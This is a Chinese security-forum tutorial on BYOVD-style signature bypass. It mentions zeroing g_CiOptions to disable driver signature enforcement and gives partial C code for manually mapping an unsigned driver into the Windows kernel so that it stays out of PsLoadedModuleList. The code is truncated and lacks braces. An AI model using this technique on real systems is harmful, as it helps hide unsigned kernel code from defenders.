论坛首页 漏洞分析研究区 阅读主题

[分享]手动映射sys到内核

334 浏览 1 回复
#1 楼主 2026-06-01 21:08:47
前言
说到过签大家第一想到的都是BYOVD(Bring Your Own Vulnerable Driver),原理是:
攻击者加载一个 合法签名但存在漏洞的驱动,然后利用该驱动:读写任意内核内存、修改内核数据结构、关闭安全机制、手动映射未签名驱动
然而BYOVD一般分为两步,第一步是找到IoControl有漏洞的驱动并解析它,第二就是利用该漏洞驱动提供的读写内存的能力将没有签名的驱动弄进系统
这里又分为两步:第一种解决方案为Driver Signature Enforcement (DSE)绕过(禁用驱动签名),直接修改CI.dll的g_CiOptions = 0 这样就禁用了驱动签名任何驱动都能加载,就可以走正常的加载驱动流程
第二种方式就是手动映射驱动(Manual Map)类似 DLL Manual Map流程为:禁用PatchGuard / DSE、解析PE、分配内核内存、复制sections、修复Relocation、修复ImportTable、调用DriverEntry等手动的加载sys,这种方法的优点是根本不走官方流程,自然也不会在PsLoadedModuleList留痕,比起第一种方式更加隐蔽,灵活性也更强
今天笔者就来实现如何手动在内核映射sys,至于找漏洞驱动并解析本节并不涉及
以下流程和DLL Manual Map几乎一模一样,开始:
解析DOS头
这里的buffer就是sys或者shellcode
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)buffer;

if (dos->e_magic != IMAGE_DOS_SIGNATURE)
return STATUS_INVALID_IMAGE_FORMAT;

判断是否为pe程序
PIMAGE_NT_HEADERS64 nt =
(PIMAGE_NT_HEADERS64)((PUCHAR)buffer + dos->e_lfanew);

if (nt->Signature != IMAGE_NT_SIGNATURE) return STATUS_INVALID_IMAGE_FORMAT;

申请并初始化空间
SIZE_T imageSize = nt->OptionalHeader.SizeOfImage;

PVOID imageBase = ExAllocatePoolWithTag(NonPagedPool, imageSize, 'pmam');

if (!imageBase) return STATUS_INSUFFICIENT_RESOURCES;

RtlZeroMemory(imageBase, imageSize);

复制 PE Header
RtlCopyMemory(
imageBase,
buffer,
nt->OptionalHeader.SizeOfHeaders

复制section
PIMAGE_SECTION_HEADER section =
IMAGE_FIRST_SECTION(nt);

for (UINT32 i = 0; i < nt->FileHeader.NumberOfSections; i++)
PVOID dest = (PUCHAR)imageBase + section[i].VirtualAddress;

PVOID src = (PUCHAR)buffer + section[i].PointerToRawData;

SIZE_T size = section[i].SizeOfRawData;

if (size)
RtlCopyMemory(dest, src, size);

修复重定位
BOOLEAN FixRelocation(PVOID newBase, PIMAGE_NT_HEADERS64 nt)
ULONGLONG delta = (ULONGLONG)newBase - nt->OptionalHeader.ImageBase;

if (delta == 0) return TRUE;

IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

if (!relocDir.Size) return TRUE;

PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((PUCHAR)newBase + relocDir.VirtualAddress);

while (reloc->VirtualAddress)
UINT32 count =
(reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);

PUSHORT list =
(PUSHORT)((PUCHAR)reloc + sizeof(IMAGE_BASE_RELOCATION));

for (UINT32 i = 0; i < count; i++)
USHORT type = list[i] >> 12;
USHORT offset = list[i] & 0xFFF;

if (type == IMAGE_REL_BASED_DIR64)
PULONGLONG addr =
(PULONGLONG)((PUCHAR)newBase + reloc->VirtualAddress + offset);

*addr += delta;

reloc =
(PIMAGE_BASE_RELOCATION)((PUCHAR)reloc + reloc->SizeOfBlock);

return TRUE;

修复 ImportTable
BOOLEAN FixImportTable(PVOID imageBase, PIMAGE_NT_HEADERS64 nt)
IMAGE_DATA_DIRECTORY importDir =
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

if (!importDir.Size)
return TRUE;

PIMAGE_IMPORT_DESCRIPTOR import =
(PIMAGE_IMPORT_DESCRIPTOR)((PUCHAR)imageBase

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-290360.htm
#2 2026-06-01 21:08:47
为什么你们这么厉害

请登录后参与讨论

立即登录 注册账号